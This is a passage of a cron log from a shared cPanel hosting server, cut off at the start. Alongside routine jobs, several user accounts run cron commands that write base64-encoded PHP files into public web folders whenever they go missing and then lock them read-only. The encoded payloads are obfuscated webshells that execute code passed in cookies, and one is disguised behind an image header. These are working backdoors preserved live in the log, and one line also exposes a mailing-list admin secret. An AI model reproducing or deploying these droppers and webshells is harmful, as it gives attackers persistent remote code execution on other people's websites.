QW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:15:02 medusa CROND[24605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:15:02 medusa CROND[24616]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:15:02 medusa CROND[24618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:15:02 medusa CROND[24623]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24622]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:15:02 medusa CROND[24624]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:15:02 medusa CROND[24619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:15:02 medusa CROND[24621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:15:02 medusa CROND[24626]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24629]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24627]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24647]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:15:02 medusa CROND[24637]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:16:01 medusa CROND[5684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:16:01 medusa CROND[5685]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:16:01 medusa CROND[5687]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:16:01 medusa CROND[5688]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:16:01 medusa CROND[5689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:16:01 medusa CROND[5691]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:16:01 medusa CROND[5692]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:16:01 medusa CROND[5695]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:16:01 medusa CROND[5697]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:16:01 medusa CROND[5698]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:16:01 medusa CROND[5696]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:16:01 medusa CROND[5693]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:16:01 medusa CROND[5702]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:16:01 medusa CROND[5701]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:17:01 medusa CROND[11933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:17:01 medusa CROND[12171]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:17:01 medusa CROND[12172]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:17:01 medusa CROND[12174]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:17:01 medusa CROND[12175]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:17:01 medusa CROND[12179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:17:01 medusa CROND[12182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:17:01 medusa CROND[12183]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 22:17:01 medusa CROND[12185]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:17:01 medusa CROND[12184]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:17:01 medusa CROND[12189]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:17:01 medusa CROND[12201]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:17:01 medusa CROND[12202]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:18:02 medusa CROND[19749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:18:02 medusa CROND[19748]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:18:02 medusa CROND[19751]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 22:18:02 medusa CROND[19750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:18:02 medusa CROND[19753]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:18:02 medusa CROND[19754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
